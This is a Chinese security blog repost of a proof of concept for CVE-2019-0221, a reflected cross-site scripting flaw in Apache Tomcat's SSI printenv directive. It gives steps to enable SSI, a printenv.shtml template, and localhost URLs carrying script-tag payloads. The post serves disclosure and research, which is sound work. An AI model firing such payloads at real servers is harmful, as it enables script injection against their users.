【漏洞利用】Apache Tomcat 9.0.0.M1 跨站脚本 POC

admin 2025年1月2日10:34:24评论34 views字数 1459阅读4分51秒阅读模式
点击上方蓝字“Ots安全”一起玩耍

这些是 2019 年发现的 Apache Tomcat 9.0.0M1 版中的跨站点脚本漏洞的详细信息。

Apache Tomcat SSI printenv Command XSS (CVE-2019-0221) 旧了,但还是有用的

hxxp://localhost:8080/printenv.shtml?%3Cscript%3EaIert(%27xss%27)%3C/script%3E

【漏洞利用】Apache Tomcat 9.0.0.M1 跨站脚本 POC

2021 年 7 月 12 日发布

# Exploit Title: Apache Tomcat 9.0.0.M1 - Cross-Site Scripting (XSS)# Date: 05/21/2019# Exploit Author: Central InfoSec# Version: Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93# CVE : CVE-2019-0221# Requirements:# SSI support must be enabled within Apache Tomcat. SSI support is not enabled by default.# A file (usually "*.shtml") with the "printenv" SSI directive must exist within the web application.# The file must be accessible.# Proof of Concept:# Install a Java Runtime Environment (JRE)# Download a vulnerable version of Tomcat and extract the contents# Modify line 19 of the confcontext.xml file to globally enable privileged contextContext privileged="true"># Modify confweb.xml to enable the SSI Servlet as per the Apache Tomcat User Guide# Put the following code in "webapps/ROOT/ssi/printenv.shtml"<html>  <body>    Echo: <!-- #echo var="QUERY_STRING_UNESCAPED" --> <br/> <br/>    Printenv: <!-- #printenv -->  </body></html># Run Tomcatcd bincatalina run# Call the following URLs to observe the XSS. You may need to use FireFox. Observe the difference between the "echo" directive which escapes properly and the "printenv" directive which does not escape properlyhttp://localhost:8080/ssi/printenv.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EXSS%3C/h1%3E%3Cbr/%3E%3Cbr/%3Ehttp://localhost:8080/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E

【漏洞利用】Apache Tomcat 9.0.0.M1 跨站脚本 POC

原文始发于微信公众号(Ots安全):【漏洞利用】Apache Tomcat 9.0.0.M1 跨站脚本

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月2日10:34:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞利用】Apache Tomcat 9.0.0.M1 跨站脚本 POChttps://cn-sec.com/archives/1105634.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息